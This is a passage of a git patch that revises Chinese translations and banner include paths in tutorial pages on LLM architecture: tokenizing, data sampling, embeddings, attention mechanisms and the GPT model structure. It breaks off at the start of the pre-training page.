From 5f70ad7d744e519c2d6b780ca63b01a47676b792 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 11:23:50 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- .../0.-basic-llm-concepts.md | 20 ++-- src/AI/AI-llm-architecture/1.-tokenizing.md | 26 ++--- .../AI-llm-architecture/2.-data-sampling.md | 10 +- .../3.-token-embeddings.md | 12 +- .../4.-attention-mechanisms.md | 32 +++--- .../5.-llm-architecture.md | 38 +++---- .../6.-pre-training-and-loading-models.md | 46 ++++---- .../7.0.-lora-improvements-in-fine-tuning.md | 10 +- .../7.1.-fine-tuning-for-classification.md | 20 ++-- ...7.2.-fine-tuning-to-follow-instructions.md | 24 ++-- src/AI/AI-llm-architecture/README.md | 12 +- .../arbitrary-write-2-exec/README.md | 2 +- .../aw2exec-sips-icc-profile.md | 8 +- src/binary-exploitation/array-indexing.md | 10 +- .../bf-forked-stack-canaries.md | 4 +- src/binary-exploitation/ios-exploiting.md | 24 ++-- src/binary-exploitation/libc-heap/README.md | 44 ++++---- .../libc-heap/use-after-free/first-fit.md | 6 +- .../discord-invite-hijacking.md | 10 +- .../threat-modeling.md | 48 ++++---- .../macos-dangerous-entitlements.md | 12 +- .../android-app-pentesting/flutter.md | 8 +- .../ios-pentesting-without-jailbreak.md | 14 +-- .../1414-pentesting-ibmmq.md | 28 ++--- .../pentesting-ntp.md | 16 +-- .../pentesting-web/angular.md | 46 ++++---- .../pentesting-web/django.md | 26 ++--- .../pentesting-web/laravel.md | 49 ++++----- .../pentesting-web/nodejs-express.md | 4 +- .../pentesting-web/spring-actuators.md | 5 - .../dapps-DecentralizedApplications.md | 28 ++--- .../lfi2rce-via-nginx-temp-files.md | 8 +- src/pentesting-web/idor.md | 10 +- .../xss-cross-site-scripting/README.md | 104 +++++++++--------- .../fault_injection_attacks.md | 4 +- .../hardware-hacking/side_channel_analysis.md | 6 +- .../README.md | 14 +-- .../modbus.md | 4 +- src/todo/investment-terms.md | 16 +-- src/todo/radio-hacking/README.md | 2 +- .../radio-hacking/fissure-the-rf-framework.md | 36 +++--- .../low-power-wide-area-network.md | 89 ++++++++++++++- src/todo/rust-basics.md | 12 +- src/todo/test-llms.md | 8 +- .../TimeRoasting.md | 16 +-- .../printnightmare.md | 95 +++++++++++++++- src/windows-hardening/cobalt-strike.md | 80 +++++++------- 47 files changed, 653 insertions(+), 493 deletions(-) diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index 29f008591..604f20615 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,6 +1,6 @@ # 0. 基本 LLM 概念 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## 预训练 @@ -10,13 +10,13 @@ 通常，LLM 的特征是用于训练的配置。以下是训练 LLM 时的常见组件： -- **参数**：参数是神经网络中的**可学习权重和偏差**。这些是训练过程调整的数字，以最小化损失函数并提高模型在任务上的性能。LLM 通常使用数百万个参数。 +- **参数**：参数是神经网络中的**可学习权重和偏差**。这些是训练过程调整以最小化损失函数并提高模型在任务上表现的数字。LLM 通常使用数百万个参数。 - **上下文长度**：这是用于预训练 LLM 的每个句子的最大长度。 -- **嵌入维度**：用于表示每个标记或单词的向量大小。LLM 通常使用数十亿个维度。 +- **嵌入维度**：用于表示每个标记或单词的向量大小。LLM 通常使用数十亿的维度。 - **隐藏维度**：神经网络中隐藏层的大小。 - **层数（深度）**：模型的层数。LLM 通常使用数十层。 - **注意力头数**：在变换器模型中，这是每层中使用的独立注意力机制的数量。LLM 通常使用数十个头。 -- **丢弃率**：丢弃率类似于在训练过程中移除的数据百分比（概率变为 0），用于**防止过拟合**。LLM 通常使用 0-20% 之间的值。 +- **丢弃率**：丢弃率是指在训练过程中移除的数据百分比（概率变为 0），用于**防止过拟合**。LLM 通常使用 0-20% 之间的丢弃率。 GPT-2 模型的配置： ```json @@ -43,13 +43,13 @@ GPT_CONFIG_124M = { ### Tensors as Data Containers -从计算的角度来看，张量充当多维数据的容器，其中每个维度可以表示数据的不同特征或方面。这使得张量非常适合处理机器学习任务中的复杂数据集。 +从计算的角度来看，张量充当多维数据的容器，每个维度可以表示数据的不同特征或方面。这使得张量非常适合处理机器学习任务中的复杂数据集。 ### PyTorch Tensors vs. NumPy Arrays 虽然 PyTorch 张量在存储和操作数值数据的能力上与 NumPy 数组相似，但它们提供了深度学习所需的额外功能： -- **Automatic Differentiation**: PyTorch 张量支持自动计算梯度（autograd），简化了训练神经网络所需的导数计算过程。 +- **Automatic Differentiation**: PyTorch 张量支持自动计算梯度（autograd），简化了计算训练神经网络所需的导数的过程。 - **GPU Acceleration**: PyTorch 中的张量可以移动到 GPU 上进行计算，显著加快大规模计算的速度。 ### Creating Tensors in PyTorch @@ -72,7 +72,7 @@ tensor2d = torch.tensor([[1, 2], tensor3d = torch.tensor([[[1, 2], [3, 4]], [[5, 6], [7, 8]]]) ``` -### 张量数据类型 +### Tensor 数据类型 PyTorch 张量可以存储各种类型的数据，例如整数和浮点数。 @@ -201,11 +201,11 @@ Gradient w.r.t b: tensor([-0.0817]) ### **1. 扩展到多层网络** -在具有多个层的大型神经网络中，由于参数和操作数量的增加，计算梯度的过程变得更加复杂。然而，基本原理保持不变： +在具有多个层的较大神经网络中，由于参数和操作数量的增加，计算梯度的过程变得更加复杂。然而，基本原理保持不变： - **前向传播：** 通过每一层传递输入来计算网络的输出。 - **计算损失：** 使用网络的输出和目标标签评估损失函数。 -- **反向传播（Backpropagation）：** 通过从输出层递归应用链式法则到输入层，计算损失相对于网络中每个参数的梯度。 +- **反向传播（Backpropagation）：** 通过从输出层递归应用链式法则，计算损失相对于网络中每个参数的梯度，直到输入层。 ### **2. 反向传播算法** @@ -286,4 +286,4 @@ print(f"Gradient of {name}: {param.grad}") - **准确性：** 提供精确的导数，达到机器精度。 - **易用性：** 消除了手动计算导数的需要。 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index bbac67485..d33cce4b4 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,28 +1,28 @@ # 1. Tokenizing -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Tokenizing -**Tokenizing** 是将数据（如文本）分解为称为 _tokens_ 的较小、可管理的部分的过程。每个 token 然后被分配一个唯一的数字标识符 (ID)。这是为机器学习模型处理文本做准备的基本步骤，特别是在自然语言处理 (NLP) 中。 +**Tokenizing** 是将数据（如文本）分解为称为 _tokens_ 的更小、更易管理的部分的过程。每个 token 都会被分配一个唯一的数字标识符（ID）。这是为机器学习模型处理文本做准备的基本步骤，尤其是在自然语言处理（NLP）中。 > [!TIP] -> 这个初始阶段的目标非常简单：**以某种有意义的方式将输入划分为 tokens (ids)**。 +> 这个初始阶段的目标非常简单：**以某种合理的方式将输入划分为 tokens（ids）**。 ### **How Tokenizing Works** 1. **Splitting the Text:** -- **Basic Tokenizer:** 一个简单的 tokenizer 可能将文本拆分为单个单词和标点符号，去除空格。 +- **Basic Tokenizer:** 一个简单的 tokenizer 可能会将文本拆分为单个单词和标点符号，去除空格。 - _Example:_\ 文本: `"Hello, world!"`\ Tokens: `["Hello", ",", "world", "!"]` 2. **Creating a Vocabulary:** -- 为了将 tokens 转换为数字 ID，创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens（单词和符号），并为每个分配一个特定的 ID。 +- 为了将 tokens 转换为数字 ID，创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens（单词和符号），并为每个 token 分配一个特定的 ID。 - **Special Tokens:** 这些是添加到 vocabulary 中以处理各种场景的特殊符号： -- `[BOS]` (Beginning of Sequence): 表示文本的开始。 -- `[EOS]` (End of Sequence): 表示文本的结束。 -- `[PAD]` (Padding): 用于使批次中的所有序列具有相同的长度。 -- `[UNK]` (Unknown): 表示不在 vocabulary 中的 tokens。 +- `[BOS]`（开始序列）：表示文本的开始。 +- `[EOS]`（结束序列）：表示文本的结束。 +- `[PAD]`（填充）：用于使批次中的所有序列具有相同的长度。 +- `[UNK]`（未知）：表示不在 vocabulary 中的 tokens。 - _Example:_\ 如果 `"Hello"` 被分配 ID `64`，`","` 是 `455`，`"world"` 是 `78`，`"!"` 是 `467`，那么：\ `"Hello, world!"` → `[64, 455, 78, 467]` @@ -33,7 +33,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_ ### **Advanced Tokenizing Methods** -虽然基本的 tokenizer 对于简单文本效果很好，但它在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。 +虽然基本的 tokenizer 对简单文本效果很好，但在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。 1. **Byte Pair Encoding (BPE):** - **Purpose:** 通过将稀有或未知单词分解为频繁出现的字节对，减少 vocabulary 的大小并处理稀有或未知单词。 @@ -45,7 +45,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_ - 消除了对 `[UNK]` token 的需求，因为所有单词都可以通过组合现有的子词 tokens 来表示。 - 更高效和灵活的 vocabulary。 - _Example:_\ -`"playing"` 可能被 tokenized 为 `["play", "ing"]` 如果 `"play"` 和 `"ing"` 是频繁的子词。 +`"playing"` 可能被 tokenized 为 `["play", "ing"]`，如果 `"play"` 和 `"ing"` 是频繁的子词。 2. **WordPiece:** - **Used By:** 像 BERT 这样的模型。 - **Purpose:** 类似于 BPE，它将单词分解为子词单元，以处理未知单词并减少 vocabulary 大小。 @@ -67,7 +67,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_ - 最终确定一个 vocabulary，其中每个单词由最可能的子词单元表示。 - **Benefits:** - 灵活且可以更自然地建模语言。 -- 通常导致更高效和紧凑的 tokenizations。 +- 通常会导致更高效和紧凑的 tokenizations。 - _Example:_\ `"internationalization"` 可能被 tokenized 为更小的、有意义的子词，如 `["international", "ization"]`。 @@ -97,4 +97,4 @@ print(token_ids[:50]) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index 8996b01ac..4db158d09 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -1,13 +1,13 @@ # 2. 数据采样 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## **数据采样** **数据采样**是为训练大型语言模型（LLMs）如GPT准备数据的关键过程。它涉及将文本数据组织成输入和目标序列，模型利用这些序列学习如何根据前面的单词预测下一个单词（或标记）。适当的数据采样确保模型有效捕捉语言模式和依赖关系。 > [!TIP] -> 这个第二阶段的目标非常简单：**对输入数据进行采样，并为训练阶段准备，通常通过将数据集分成特定长度的句子，并生成预期的响应。** +> 第二阶段的目标非常简单：**对输入数据进行采样，并为训练阶段准备，通常通过将数据集分成特定长度的句子，并生成预期的响应。** ### **为什么数据采样很重要** @@ -28,9 +28,9 @@ ```arduino "Lorem ipsum dolor sit amet, consectetur adipiscing elit." ``` -**Tokenization** +**分词** -假设我们使用一个**基本的分词器**，将文本分割成单词和标点符号： +假设我们使用一个**基本分词器**，将文本拆分为单词和标点符号： ```vbnet Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."] ``` @@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807], - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 0205a73a3..34d5e2bea 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -1,6 +1,6 @@ # 3. Token Embeddings -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Token Embeddings @@ -8,7 +8,7 @@ > [!TIP] > 这个第三阶段的目标非常简单：**为词汇表中的每个先前标记分配一个所需维度的向量以训练模型。** 词汇表中的每个单词将在 X 维空间中有一个点。\ -> 请注意，最初每个单词在空间中的位置是“随机”初始化的，这些位置是可训练的参数（将在训练过程中得到改善）。 +> 请注意，最初每个单词在空间中的位置只是“随机”初始化的，这些位置是可训练的参数（将在训练过程中得到改善）。 > > 此外，在 token embedding 过程中 **创建了另一层嵌入**，它表示（在这种情况下）**单词在训练句子中的绝对位置**。这样，句子中不同位置的单词将具有不同的表示（含义）。 @@ -26,7 +26,7 @@ ### **Initializing Token Embeddings** -在训练开始时，token embeddings 通常用小的随机值初始化。这些初始值在训练过程中进行调整（微调），以更好地表示标记的含义，基于训练数据。 +在训练开始时，token embeddings 通常用小的随机值初始化。这些初始值在训练过程中进行调整（微调），以更好地表示基于训练数据的标记含义。 **PyTorch Example:** ```python @@ -130,7 +130,7 @@ cssCopy codeBatch ### **为什么需要位置嵌入：** - **令牌顺序很重要：** 在句子中，意义往往依赖于单词的顺序。例如，“猫坐在垫子上”与“垫子坐在猫上”。 -- **嵌入限制：** 没有位置信息，模型将令牌视为“词袋”，忽略它们的顺序。 +- **嵌入限制：** 如果没有位置信息，模型将令牌视为“词袋”，忽略它们的顺序。 ### **位置嵌入的类型：** @@ -200,9 +200,9 @@ pos_embeddings = pos_embedding_layer(torch.arange(max_length)) input_embeddings = token_embeddings + pos_embeddings print(input_embeddings.shape) # torch.Size([8, 4, 256]) ``` -## 参考 +## 参考文献 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index f02b9af3e..a26634642 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -1,14 +1,14 @@ # 4. 注意机制 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## 神经网络中的注意机制和自注意力 -注意机制允许神经网络在生成输出的每个部分时**专注于输入的特定部分**。它们为不同的输入分配不同的权重，帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要，因为理解整个句子的上下文对于准确翻译是必要的。 +注意机制允许神经网络在生成输出的每个部分时**关注输入的特定部分**。它们为不同的输入分配不同的权重，帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要，因为理解整个句子的上下文对于准确翻译是必要的。 > [!TIP] -> 这一阶段的目标非常简单：**应用一些注意机制**。这些将是许多**重复的层**，将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\ -> 为此使用了很多层，因此会有很多可训练的参数来捕捉这些信息。 +> 这个第四阶段的目标非常简单：**应用一些注意机制**。这些将是许多**重复的层**，将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\ +> 为此使用了很多层，因此将有很多可训练的参数来捕捉这些信息。 ### 理解注意机制 @@ -16,7 +16,7 @@ #### 示例：机器翻译 -考虑将德语句子 "Kannst du mir helfen diesen Satz zu übersetzen" 翻译成英语。逐字翻译不会产生语法正确的英语句子，因为不同语言之间的语法结构存在差异。注意机制使模型在生成输出句子的每个单词时能够专注于输入句子的相关部分，从而实现更准确和连贯的翻译。 +考虑将德语句子 "Kannst du mir helfen diesen Satz zu übersetzen" 翻译成英语。逐字翻译不会产生语法正确的英语句子，因为不同语言之间的语法结构存在差异。注意机制使模型在生成输出句子的每个单词时能够关注输入句子的相关部分，从而导致更准确和连贯的翻译。 ### 自注意力介绍 @@ -36,7 +36,7 @@ - **shiny**: `[0.53, 0.34, 0.98]` - **sun**: `[0.29, 0.54, 0.93]` -我们的目标是使用自注意力计算**"shiny"**的**上下文向量**。 +我们的目标是使用自注意力计算单词 **"shiny"** 的**上下文向量**。 #### 步骤1：计算注意分数 @@ -107,7 +107,7 @@ `context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]` -**这个上下文向量表示了“shiny”的丰富嵌入，结合了句子中所有单词的信息。** +**这个上下文向量表示了单词 "shiny" 的丰富嵌入，结合了句子中所有单词的信息。** ### 过程总结 @@ -159,7 +159,7 @@ values = torch.matmul(inputs, W_value) **计算注意力分数** -与之前的例子类似，但这次我们使用的是令牌的键矩阵（已经使用维度计算得出），而不是令牌维度的值。因此，对于每个查询 `qi`​ 和键 `kj​`： +与之前的示例类似，但这次我们使用的是令牌的键矩阵（已经使用维度计算得出），而不是令牌维度的值。因此，对于每个查询 `qi`​ 和键 `kj​`：
@@ -172,13 +172,13 @@ values = torch.matmul(inputs, W_value) > [!TIP] > 分数除以维度的平方根是因为点积可能变得非常大，这有助于调节它们。 -**应用Softmax以获得注意力权重：** 与最初的例子一样，规范化所有值，使它们的总和为1。 +**应用Softmax以获得注意力权重：** 与最初的示例一样，规范化所有值，使它们的总和为1。
#### 第3步：计算上下文向量 -与最初的例子一样，只需将所有值矩阵相加，每个值乘以其注意力权重： +与最初的示例一样，只需将所有值矩阵相加，每个值乘以其注意力权重：
@@ -224,15 +224,15 @@ sa_v2 = SelfAttention_v2(d_in, d_out) print(sa_v2(inputs)) ``` > [!TIP] -> 注意，`nn.Linear` 用于将所有权重标记为可训练参数，而不是用随机值初始化矩阵。 +> 注意，`nn.Linear` 被用来将所有权重标记为可训练参数，而不是用随机值初始化矩阵。 ## 因果注意力：隐藏未来词汇 -对于 LLM，我们希望模型仅考虑当前位置信息之前出现的标记，以便 **预测下一个标记**。**因果注意力**，也称为 **掩蔽注意力**，通过修改注意力机制来防止访问未来标记，从而实现这一点。 +对于 LLM，我们希望模型只考虑当前位置信息之前出现的标记，以便**预测下一个标记**。**因果注意力**，也称为**掩蔽注意力**，通过修改注意力机制来防止访问未来标记，从而实现这一点。 ### 应用因果注意力掩码 -为了实现因果注意力，我们在 **softmax 操作之前** 对注意力分数应用掩码，以便剩余的分数仍然相加为 1。该掩码将未来标记的注意力分数设置为负无穷，确保在 softmax 之后，它们的注意力权重为零。 +为了实现因果注意力，我们在**softmax 操作之前**对注意力分数应用掩码，以便剩余的分数仍然相加为 1。该掩码将未来标记的注意力分数设置为负无穷，确保在 softmax 之后，它们的注意力权重为零。 **步骤** @@ -252,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1) ### 使用 Dropout 掩蔽额外的注意力权重 -为了 **防止过拟合**，我们可以在 softmax 操作后对注意力权重应用 **dropout**。Dropout **在训练期间随机将一些注意力权重置为零**。 +为了**防止过拟合**，我们可以在 softmax 操作后对注意力权重应用**dropout**。Dropout **在训练期间随机将一些注意力权重置为零**。 ```python dropout = nn.Dropout(p=0.5) attention_weights = dropout(attention_weights) @@ -329,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape) ### 代码示例 -可以重用之前的代码，只需添加一个包装器来多次启动它，但这是一个更优化的版本，来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)，它同时处理所有头（减少了昂贵的 for 循环数量）。正如您在代码中看到的，每个令牌的维度根据头的数量被划分为不同的维度。这样，如果令牌有 8 个维度，而我们想使用 3 个头，维度将被划分为 2 个 4 维的数组，每个头将使用其中一个： +可以重用之前的代码，只需添加一个包装器来多次启动它，但这是一个更优化的版本，来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb)，它同时处理所有头（减少了昂贵的 for 循环数量）。正如您在代码中看到的，每个标记的维度根据头的数量被划分为不同的维度。这样，如果标记有 8 个维度，而我们想使用 3 个头，维度将被划分为 2 个 4 维的数组，每个头将使用其中一个： ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): @@ -418,4 +418,4 @@ print("context_vecs.shape:", context_vecs.shape) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 5724eed0d..c91f8e987 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,13 +1,13 @@ # 5. LLM Architecture -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## LLM Architecture > [!TIP] -> 第五阶段的目标非常简单：**开发完整LLM的架构**。将所有内容整合在一起，应用所有层并创建所有功能以生成文本或将文本转换为ID及其反向操作。 +> 第五阶段的目标非常简单：**开发完整LLM的架构**。将所有内容整合在一起，应用所有层并创建所有功能以生成文本或将文本转换为ID并反向转换。 > -> 该架构将用于训练和预测文本，训练后进行预测。 +> 该架构将用于训练和预测文本。 LLM架构示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): @@ -23,7 +23,7 @@ LLM架构示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04 - **前馈层**：负责处理来自注意力层的信息并对下一个标记进行预测。 - **丢弃层**：这些层通过在训练期间随机丢弃单元来防止过拟合。 4. **最终输出层**：模型输出一个**4x50,257维的张量**，其中**50,257**表示词汇表的大小。该张量中的每一行对应于模型用于预测序列中下一个单词的向量。 -5. **目标**：目标是将这些嵌入转换回文本。具体来说，输出的最后一行用于生成下一个单词，在该图中表示为“前进”。 +5. **目标**：目标是将这些嵌入转换回文本。具体来说，输出的最后一行用于生成下一个单词，在该图中表示为“前进”。 ### 代码表示 ```python @@ -212,14 +212,14 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) * ``` #### **目的和功能** -- **GELU (高斯误差线性单元):** 一种激活函数，向模型引入非线性。 -- **平滑激活:** 与ReLU不同，ReLU将负输入归零，GELU平滑地将输入映射到输出，允许负输入有小的非零值。 +- **GELU (高斯误差线性单元):** 一种激活函数，为模型引入非线性。 +- **平滑激活:** 与ReLU不同，ReLU将负输入归零，而GELU平滑地将输入映射到输出，允许负输入有小的非零值。 - **数学定义:**
> [!TIP] -> 在FeedForward层内部的线性层之后使用此函数的目的是将线性数据转换为非线性，以便模型能够学习复杂的非线性关系。 +> 在FeedForward层内的线性层之后使用此函数的目的是将线性数据转换为非线性，以便模型能够学习复杂的非线性关系。 ### **前馈神经网络** @@ -260,20 +260,20 @@ return x # Output shape: (batch_size, seq_len, emb_dim) #### **目的和功能** -- **多头自注意力：** 允许模型在编码一个令牌时关注输入序列中的不同位置。 +- **多头自注意力：** 允许模型在编码一个标记时关注输入序列中的不同位置。 - **关键组件：** - **查询、键、值：** 输入的线性投影，用于计算注意力分数。 - **头：** 多个并行运行的注意力机制（`num_heads`），每个具有减少的维度（`head_dim`）。 - **注意力分数：** 作为查询和键的点积计算，经过缩放和掩蔽。 -- **掩蔽：** 应用因果掩蔽，以防止模型关注未来的令牌（对于像 GPT 这样的自回归模型很重要）。 +- **掩蔽：** 应用因果掩蔽，以防止模型关注未来的标记（对于像 GPT 这样的自回归模型很重要）。 - **注意力权重：** 掩蔽和缩放后的注意力分数的 Softmax。 - **上下文向量：** 根据注意力权重的值的加权和。 - **输出投影：** 线性层以组合所有头的输出。 > [!TIP] -> 该网络的目标是找到同一上下文中令牌之间的关系。此外，令牌被分配到不同的头中，以防止过拟合，尽管每个头找到的最终关系在该网络的末尾被组合在一起。 +> 该网络的目标是找到同一上下文中标记之间的关系。此外，标记被分配到不同的头中，以防止过拟合，尽管每个头找到的最终关系在该网络的末尾被组合在一起。 > -> 此外，在训练期间应用 **因果掩蔽**，以便在查看特定令牌的关系时不考虑后来的令牌，并且还应用了一些 **dropout** 以 **防止过拟合**。 +> 此外，在训练期间应用 **因果掩蔽**，以便在查看特定标记的关系时不考虑后续标记，并且还应用了一些 **dropout** 以 **防止过拟合**。 ### **层** 归一化 ```python @@ -293,10 +293,10 @@ return self.scale * norm_x + self.shift ``` #### **目的和功能** -- **层归一化：** 一种用于规范化批次中每个单独示例的特征（嵌入维度）输入的技术。 +- **层归一化：** 一种用于对每个批次中单个示例的特征（嵌入维度）进行归一化的技术。 - **组件：** - **`eps`：** 一个小常数（`1e-5`），在归一化过程中添加到方差中以防止除以零。 -- **`scale` 和 `shift`：** 可学习参数（`nn.Parameter`），允许模型对归一化输出进行缩放和偏移。它们分别初始化为1和0。 +- **`scale` 和 `shift`：** 可学习的参数（`nn.Parameter`），允许模型对归一化输出进行缩放和偏移。它们分别初始化为1和0。 - **归一化过程：** - **计算均值（`mean`）：** 计算输入 `x` 在嵌入维度（`dim=-1`）上的均值，同时保持维度以便广播（`keepdim=True`）。 - **计算方差（`var`）：** 计算 `x` 在嵌入维度上的方差，同样保持维度。`unbiased=False` 参数确保方差使用有偏估计量计算（除以 `N` 而不是 `N-1`），这在对特征而非样本进行归一化时是合适的。 @@ -306,7 +306,7 @@ return self.scale * norm_x + self.shift > [!TIP] > 目标是确保同一标记的所有维度的均值为0，方差为1。这样做的目的是**通过减少内部协变量偏移来稳定深度神经网络的训练**，内部协变量偏移是指由于训练过程中参数更新而导致的网络激活分布的变化。 -### **变换器块** +### **Transformer 块** _已添加形状作为注释，以更好地理解矩阵的形状：_ ```python @@ -439,20 +439,20 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。提醒一下，这些是赋予词汇中每个令牌每个维度的权重。 - **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息，以捕捉令牌的顺序。提醒一下，这些是根据令牌在文本中的位置赋予的权重。 - **丢弃 (`drop_emb`):** 应用于嵌入以进行正则化。 -- **变换器块 (`trf_blocks`):** 堆叠 `n_layers` 个变换器块以处理嵌入。 +- **变换器块 (`trf_blocks`):** 一组 `n_layers` 变换器块，用于处理嵌入。 - **最终归一化 (`final_norm`):** 输出层之前的层归一化。 - **输出层 (`out_head`):** 将最终隐藏状态投影到词汇大小，以生成预测的 logits。 > [!TIP] > 该类的目标是使用所有其他提到的网络来**预测序列中的下一个令牌**，这对于文本生成等任务至关重要。 > -> 注意它将**使用尽可能多的变换器块**，并且每个变换器块使用一个多头注意力网络、一个前馈网络和几个归一化。因此，如果使用12个变换器块，则将其乘以12。 +> 注意它将**使用尽可能多的变换器块**，并且每个变换器块使用一个多头注意力网络，一个前馈网络和几个归一化。因此，如果使用了 12 个变换器块，则将其乘以 12。 > > 此外，在**输出**之前添加了一个**归一化**层，并在最后应用一个最终线性层以获得具有适当维度的结果。注意每个最终向量的大小与使用的词汇相同。这是因为它试图为词汇中的每个可能令牌获取一个概率。 ## 训练的参数数量 -定义了GPT结构后，可以找出要训练的参数数量： +定义了 GPT 结构后，可以找出要训练的参数数量： ```python GPT_CONFIG_124M = { "vocab_size": 50257, # Vocabulary size @@ -612,7 +612,7 @@ total_params = 163,009,536 拥有一个像之前那样预测下一个标记的模型，只需从输出中获取最后一个标记的值（因为它们将是预测标记的值），这将是**词汇表中每个条目的值**，然后使用`softmax`函数将维度归一化为总和为1的概率，然后获取最大条目的索引，这将是词汇表中单词的索引。 -来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): +代码来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): ```python def generate_text_simple(model, idx, max_new_tokens, context_size): # idx is (batch, n_tokens) array of indices in the current context @@ -668,4 +668,4 @@ print("Output length:", len(out[0])) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index 32dbc0e34..4b4b4e845 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,6 +1,6 @@ # 6. 预训练与加载模型 -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## 文本生成 @@ -13,12 +13,12 @@ ## 文本评估 